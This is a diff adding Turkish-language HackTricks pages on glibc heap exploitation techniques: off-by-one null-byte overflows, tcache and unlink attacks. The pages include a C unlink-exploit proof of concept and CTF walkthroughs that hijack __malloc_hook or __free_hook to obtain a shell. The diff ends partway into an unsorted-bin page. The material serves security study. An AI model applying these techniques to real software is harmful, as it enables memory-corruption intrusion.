+* Keyfi byte: Bu tür, o byte'ı herhangi bir değerle üzerine yazmaya olanak tanır
+* Null birim aşımı: Bu tür, o byte'ı yalnızca 0x00 ile üzerine yazmaya olanak tanır
+* Bu zafiyetin yaygın bir örneği, strlen ve strcpy davranışının tutarsız olduğu aşağıdaki kodda görülebilir, bu da bir sonraki parçanın başlangıcına 0x00 byte ayarlamayı mümkün kılar.
+
+<details>
+
+<summary>Null birim aşımı</summary>
+```c
+// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
+int main(void)
+{
+char buffer[40]="";
+void *chunk1;
+chunk1 = malloc(24);
+puts("Get Input");
+gets(buffer);
+if(strlen(buffer)==24)
+{
+strcpy(chunk1,buffer);
+}
+return 0;
+}
+```
+</details>
+
+Diğer kontroller arasında, artık bir parça serbest bırakıldığında önceki boyutun, metadatadaki parçanın yapılandırılan boyutuyla karşılaştırıldığı kontrol edilir, bu saldırı 2.28 sürümden itibaren oldukça karmaşık hale getirir.
+
+### Kod Örneği:
+
+* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
+* Bu saldırı artık Tcaches kullanıldığından çalışmamaktadır.
+* Ayrıca, daha büyük parçalar kullanarak (bu durumda tcaches devreye girmez), hata alırsınız: `malloc(): invalid next size (unsorted)`
+
+### Amaç
+
+* Bir parçanın başka bir parçanın içinde bulunmasını sağlamak, böylece ikinci parçaya yazma erişimi, içerilen parçayı üzerine yazmaya olanak tanır
+
+### Gereksinimler
+
+* Önceki boyut metad veri bilgisini değiştirmek için bir birim fazla taşma
+
+### Saldırı
+
+* Bellekte 3 parça (a, b, c) ardışık olarak ayrılmıştır. Ardından ortadaki parça serbest bırakılır. İlk parça bir birim fazla taşma açığına sahiptir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekte olduğundan 0x10 daha küçük olduğunu gösterir).
+* Daha sonra, ortadaki serbest bırakılan parçaya (b) 2 daha küçük parça ayrılır, ancak `b + b->size` c parçasını güncellemez çünkü işaret edilen adres olması gereken adresten daha küçüktür.
+* Daha sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir.
+* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir, bu da aslında b2'yi içerecek ve yeni malloc'un sahibine b2'nin içeriğini kontrol etme olanağı tanır.
+
+Bu resim saldırıyı mükemmel bir şekilde açıklar:
+
+<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
+
+## Diğer Örnekler ve Referanslar
+
+* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
+* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
+* Bir birim fazla taşmayı kullanarak yığın belleğinden bir adres sızdırmak mümkündür çünkü bir dizenin sonundaki 0x00 baytı bir sonraki alan tarafından üzerine yazılır.
+* Rastgele yazma, bir birim fazla taşmayı kötüye kullanarak elde edilir, böylece işaretçi başka bir yere işaret edecek sahte bir yapı oluşturulur. Ardından, bu yapıdaki işaretçiyi takip ederek rastgele yazma elde etmek mümkündür.
+* Libc adresi sızdırılır çünkü yığın mmap kullanılarak genişletildiğinde, mmap tarafından tahsis edilen belleğin libc'ten sabit bir ofseti vardır.
+* Son olarak, rastgele yazma, `__free_hook` adresine bir tek araçla yazmak için kötüye kullanılır.
+* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
+* Kullanıcı giriş satırlarını okuyan `getline` işlevinde NULL bir birim fazla taşma zafiyeti vardır. Bu işlev, içeriğin "anahtarını" okumak için kullanılır.
+* Yazım 5 başlangıç parçası oluşturulur:
+* parça1 (0x200)
+* parça2 (0x50)
+* parça5 (0x68)
+* parça3 (0x1f8)
+* parça4 (0xf0)
+* parça savunması (0x400), üst parçayla birleşmesini önlemek için
+* Ardından parça 1, 5 ve 3 serbest bırakılır, böylece:
+* ```python
+[ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ]
+```
+* Ardından, parça3 (0x1f8) kötüye kullanılarak null bir birim fazla taşma yazarak prev\_size `0x4e0` olarak yazılır.
+* Başlangıçta tahsis edilen parça1, 2, 5 ve 3'ün boyutlarının ve bu parçaların başlıklarının toplamının `0x4e0` olduğuna dikkat edin: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
+* Ardından, parça 4 serbest bırakılır, tüm parçaları başlangıca kadar tüketen bir parça oluşturur:
+* ```python
+[ 0x4e0 Parça 1-2-5-3 (serbest) ] [ 0xf0 Parça 4 (bozuk) ] [ 0x400 Parça savunması ]
+```
+* ```python
+[ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ]
+```
+* Ardından, orijinal parça 1'i doldurmak için `0x200` bayt tahsis edilir
+* Ve başka 0x200 bayt tahsis edilir ve parça2 yok edilir ve bu nedenle hiçbir sızıntı yok ve bu işe yaramaz mı? Belki bunun yapılması gerekmeyebilir
+* Ardından, 0x58 "a" ile başka bir parça tahsis edilir (parça2'yi üzerine yazarak parça5'e ulaşır) ve chunk5'in hızlı bin parçasının `__malloc_hook`'a işaret eden `fd`'si değiştirilir
+* Son olarak, 0x68'lik bir parça tahsis edilir, böylece `__malloc_hook`'taki sahte hızlı bin parçası, takip edilecek sonraki hızlı bin parçası olur
+* Son olarak, 0x68'lik yeni bir hızlı bin parçası tahsis edilir ve `__malloc_hook` bir `one_gadget` adresiyle üzerine yazılır
+
+<details>
+
+<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
+* 💬 **Discord grubuna** katılın veya **telegram grubuna** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+
+</details>

binary-exploitation/libc-heap/overwriting-a-freed-chunk.md

@@ -0,0 +1,47 @@
+# Serbest bir bloğu üzerine yazma
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
+
+</details>
+
+Önerilen birçok heap istismar tekniği, serbest bırakılmış blokların içindeki işaretçileri üzerine yazabilmeyi gerektirir. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir:
+
+### Basit Kullanımdan Sonra Ücretsiz
+
+Eğer saldırganın **bir serbest bloğa bilgi yazması mümkünse**, bu gerekli işaretçileri üzerine yazmak için bunu kötüye kullanabilir.
+
+### Çift Serbest Bırakma
+
+Eğer saldırgan **aynı bloğu iki kez `free` yapabilirse** (olası arada diğer blokları serbest bırakarak) ve bunu **aynı kovada 2 kez olacak şekilde yapabilirse**, kullanıcının daha sonra **bloğu ayırması**, **gerekli işaretçileri yazması** ve ardından **tekrar ayırması** mümkün olacaktır, bu da bloğun ayrılmasına neden olacaktır (örneğin hızlı kova saldırısı, tcache saldırısı...)
+
+### Heap Taşması
+
+Tahsis edilmiş bir bloğu **serbest bırakılmış bir bloğu takip edecek şekilde taşırarak** taşmak mümkün olabilir ve bazı başlıkları/işaretçileri değiştirebilir.
+
+### 1 Taşma Hatası
+
+Bu durumda, bellekteki takip eden bloğun **boyutunu değiştirmek** mümkün olacaktır. Bir saldırgan bunu **bir tahsis edilmiş bloğun daha büyük bir boyuta sahip olmasını sağlamak** için kötüye kullanabilir, ardından bunu **`free`** ederek, bloğun farklı bir boyutta (daha büyük) bir kovaya **eklenmesini sağlar**, ardından **sahte boyutu** ayırır ve saldırı, gerçekte olduğundan daha büyük bir boyuta sahip bir **bloğa erişim sağlar**, dolayısıyla bir heap taşması olur (önceki bölüme bakın).
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
+
+</details>

binary-exploitation/libc-heap/tcache-bin-attack.md

@@ -0,0 +1,52 @@
+# Tcache Bin Attack
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+
+</details>
+
+## Temel Bilgiler
+
+Tcache bin nedir hakkında daha fazla bilgi için bu sayfaya bakın:
+
+{% content-ref url="bins-and-memory-allocations.md" %}
+[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
+{% endcontent-ref %}
+
+İlk olarak, Tcache glibc sürümü 2.26'da tanıtıldı.
+
+[**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) önerilen **Tcache** saldırısı, hedeflenen yerin içindeki bir serbest bırakılmış parçanın içindeki bir sonraki parça işaretçisini isteğe bağlı bir adrese üzerine yazmak için hızlı bin saldırısına çok benzerdir, böylece daha sonra **o belirli adrese tahsis edilebilir ve potansiyel olarak işaretçiler üzerine yazılabilir**.
+
+Ancak, günümüzde, bahsedilen kodu çalıştırırsanız hata alırsınız: **`malloc(): hizalanmamış tcache parçası tespit edildi`**. Bu nedenle, yeni işaretçiye hizalanmış bir adres yazmak gereklidir (veya yazılan adresin gerçekten hizalandığı binary'yi yeterince kez çalıştırmak gereklidir).
+
+### Tcache indeks saldırıları
+
+Genellikle heap'in başlangıcında, tcache içindeki **her indeksteki parça sayısını** ve **her tcache indeksinin baş parça adresini** içeren bir parça bulunabilir. Bu bilgiyi bir şekilde değiştirmek mümkün olursa, **bazı indekslerin baş parçasını istenen bir adrese yönlendirmek mümkün olacaktır** (örneğin malloc hook gibi) ve daha sonra bu durumda malloc hook içeriğini üzerine yazmak mümkün olacaktır.
+
+## Örnekler
+
+* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
+* **Libc bilgi sızıntısı**: Tcache'leri doldurmak, bir parçayı sıralanmamış listeye eklemek, tcache'yi boşaltmak ve ardından sadece ilk 8B'yi üzerine yazarak sıralanmamış bölgeden parçayı **yeniden tahsis etmek** mümkündür, böylece parçanın ikinci adresi libc'den parçanın okunabilecektir.
+* **Tcache saldırısı**: Binary, 1B heap taşmasına karşı savunmasızdır. Bu, ayrılmış bir parçanın **boyut başlığını** değiştirmek için kötüye kullanılacaktır. Daha sonra, bu parça **serbest bırakılacak**, sahte boyuttaki parçaların tcache'ine eklenir. Ardından, sahte boyutta bir parça tahsis edilecek ve önceki parça **gerçekte daha küçük olduğu bilinerek geri dönecektir ve bu, bellekteki bir sonraki parçayı üzerine yazma fırsatı verir**.\
+Bu, **bir sonraki parçanın FD işaretçisini üzerine yazmak** için kötüye kullanılacaktır ve ardından `malloc_hook`'a işaret eden 2 işaretçi tahsis edilecektir: önce değiştirdiğimiz meşru işaretçi ve ardından ikinci tahsis, `malloc_hook`'ta bir parça döndürecektir ve bu, **bir tek parça yazmak için kötüye kullanılabilir**.
+* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
+* **Libc bilgi sızıntısı**: Use after free ve double free mevcuttur. Bu yazıda yazar, küçük bir bine yerleştirilen bir parçanın adresini okuyarak libc'nin bir adresini sızdırdı.
+* **Tcache saldırısı**: Bir **çift serbest bırakma** ile bir Tcache gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, tahsis edilir, FD işaretçisi **free hook'a işaret etmek üzere değiştirilir ve ardından tekrar tahsis edilir, böylece listedeki bir sonraki parça free hook'ta olacaktır. Ardından, bu da tahsis edilir ve buraya `system` adresi yazılabilir, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir shell alınabilir.
+* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
+* Buradaki ana zayıflık, heap'te herhangi bir adresi belirterek serbest bırakma kapasitesidir
+* **Tcache indeks saldırıları**: Tcache parçasının içinde depolanan bir adresin **değeri 0x100 olan bir adres oluşturacak şekilde** depolanacak bir boyutta bir parça tahsis edilip serbest bırakılabilir. Bu, tcache'nin her bir bindeki parça sayısını farklı baytlarda sakladığı için bir parçanın belirli bir indekste 0x100 değerini oluşturmasıdır.
+* Sonra, bu değer 0x100 boyutunda bir parça olduğu gibi görünür. Bu adresi `free` ile kötüye kullanmaya izin verecektir. Bu adres, tcache'deki 0x100 boyutundaki parça indeksine **bu adresi ekleyecektir**.
+* Ardından, boyutu **0x100 olan** bir parça **tahsis edildiğinde**, önceki adres bir parça olarak geri dönecek ve diğer tcache indekslerini üzerine yazmaya izin verecektir.\
+Örneğin malloc hook adresini birine koyarak ve o indeksin boyutunda bir parça tahsis ederek calloc hook'ta bir parça almak, bir tek parça yazmak için kötüye kullanılabilir ve bir shell alınabilir.
+* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
+* Bir öncekiyle aynı zayıflık, bir ek kısıtlama ile
+* **Tcache indeks saldırıları**: Bir önceki saldırıya benzer saldırı ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adımla gerçekleştirilir, bu nedenle adresi, boyutuna göre tcache indeksine ekleyerek o boyutta tahsis edilebilir ve tcache parça bilgileri bir parça olarak alınabilir, bu da bir indeksin adresini free hook olarak eklemeyi, tahsis etmeyi ve üzerine bir tek parça yazmayı mümkün kılar.

binary-exploitation/libc-heap/unlink-attack.md

@@ -0,0 +1,150 @@
+# Unlink Saldırısı
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni sürümü daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir.
+
+### Kod Örneği:
+
+<details>
+
+<summary>Kod</summary>
+```c
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
+
+struct chunk_structure {
+size_t prev_size;
+size_t size;
+struct chunk_structure *fd;
+struct chunk_structure *bk;
+char buf[10];               // padding
+};
+
+int main() {
+unsigned long long *chunk1, *chunk2;
+struct chunk_structure *fake_chunk, *chunk2_hdr;
+char data[20];
+
+// First grab two chunks (non fast)
+chunk1 = malloc(0x8000);
+chunk2 = malloc(0x8000);
+printf("Stack pointer to chunk1: %p\n", &chunk1);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk2: %p\n", chunk2);
+
+// Assuming attacker has control over chunk1's contents
+// Overflow the heap, override chunk2's header
+
+// First forge a fake chunk starting at chunk1
+// Need to setup fd and bk pointers to pass the unlink security check
+fake_chunk = (struct chunk_structure *)chunk1;
+fake_chunk->size = 0x8000;
+fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
+fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
+
+// Next modify the header of chunk2 to pass all security checks
+chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
+chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
+chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
+
+// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
+// This results in chunk1 pointer pointing to chunk1 - 3
+// i.e. chunk1[3] now contains chunk1 itself.
+// We then make chunk1 point to some victim's data
+free(chunk2);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk1[3]: %x\n", chunk1[3]);
+
+chunk1[3] = (unsigned long long)data;
+
+strcpy(data, "Victim's data");
+
+// Overwrite victim's data using chunk1
+chunk1[0] = 0x002164656b636168LL;
+
+printf("%s\n", data);
+
+return 0;
+}
+
+```
+</details>
+
+* Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra)
+
+### Amaç
+
+Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres öncesine işaret edecek şekilde değiştirmeyi** sağlar. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisler / yığın gibi, bunları okuyup/üzerine yazarak daha büyük zarara neden olmak mümkündür.
+
+* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres öncesine işaret ediyor ve kullanıcı muhtemelen bunu okuyup değiştirebileceği için, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır.
+* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle, işaretçiyi 3 adres öncesine işaret edecek şekilde yaparak ve okuyup yazarak diğer işaretçileri başka adreslere işaret etmesini sağlamak mümkündür. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için, bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta).
+
+### Gereksinimler
+
+* Bellekte (örneğin yığın) bazı kontrol sağlamak için bir hafıza kontrolü yaparak bazı özelliklere değerler vererek bir çift parça oluşturmak.
+* Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı.
+
+### Saldırı
+
+* Bir çift parça vardır (parça1 ve parça2)
+* Saldırgan parça1'in içeriğini ve parça2'nin başlıklarını kontrol eder.
+* Parça1'de saldırgan sahte bir parça yapısını oluşturur:
+* Korumaları atlamak için, `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası oluşmaz
+* ve sahte parçanın `fd` ve `bk` alanları, sahte parçanın depolandığı yerin -3 ve -2 ofsetlerinde işaret eder hale getirilir, böylece `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` gerçek parça1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:
+
+<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
+
+* Parça2'nin başlıkları değiştirilir ve önceki parçanın kullanılmadığını ve içerilen sahte parçanın boyutunun boyutunu gösterir.
+* İkinci parça serbest bırakıldığında, bu sahte parça bağlantısı kopar:
+* `fake_chunk->fd->bk` = `fake_chunk->bk`
+* `fake_chunk->bk->fd` = `fake_chunk->fd`
+* Daha önce `fake_chunk->fd->bk` ve `fake_chunk->fd->bk`'nin aynı yere işaret ettiği sağlanmıştı (yığında `parça1`'in depolandığı konum, bu nedenle geçerli bir bağlı liste idi). Çünkü **her ikisi de aynı yere işaret ediyor**, sadece sonuncusu (`fake_chunk->bk->fd = fake_chunk->fd`) **etkili olacaktır**.
+* Bu, yığında parça1 işaretçisini yığında kendisinden 3 adres önce depolanan adrese (veya baytlara) **üzerine yazacaktır**.
+* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilir** ve potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirme ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirme yeteneğine sahip olacaktır. Hatta yine parça1'in yığında depolanan adresini, saldırgan parça1'in içeriğini tekrar kontrol edebilirse başka bir yere işaret edecek şekilde tekrar değiştirebilir, böylece herhangi bir yere yazabilir.
+* Bu, **adreslerin yığında depolandığı için** mümkün oldu. Risk ve sömürü, **sahte parça adreslerinin nerede depolandığına bağlı olabilir**.
+
+<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
+
+## Referanslar
+
+* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
+* CTF'de bile bir unlink saldırısı bulmak garip olabilir, ancak bu saldırının kullanıldığı bazı yazılımlar burada bulunmaktadır:
+* CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
+* Bu örnekte, yığın yerine malloc edilmiş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edilebilmek için gerçekleştirilir, bu nedenle malloc edilmiş adreslerin dizisinin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE almak için atoi GOT'u üzerine yazmaya olanak tanır.
+* Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
+* Önceki örnekte olduğu gibi, tahsis edilen adreslerin bir dizisi bulunmaktadır. Bir unlink saldırısı gerçekleştirilerek ilk tahsis edilen adresin dizinin başlangıcından birkaç konum öncesine işaret etmesi sağlanabilir ve ardından bu tahsis edilen adres yeni konumda üzerine yazılabilir. Bu nedenle, diğer tahsislerin işaretçileri GOT'a işaret etmek üzere üzerine yazılabilir, libc sızıntısı almak için yazdırılabilir ve ardından atoi GOT'u bir gadget adresine yazarak üzerine yazılabilir.
+* Unlink saldırısına oldukça benzer bir zayıflığı istismar eden özel malloc ve free işlevleriyle CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
+* Özel malloc'un FD ve BK işaretçilerini kontrol etmeyi sağlayan bir taşma vardır ve heap'in exec biti vardır, bu nedenle bir heap adresi sızdırmak ve GOT'tan bir işlevi bir shellcode ile bir heap parçasına işaret etmek mümkündür.
+
+<details>
+
+<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
+
+</details>

binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -0,0 +1,89 @@
+# Sıralanmamış Bin Saldırısı
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
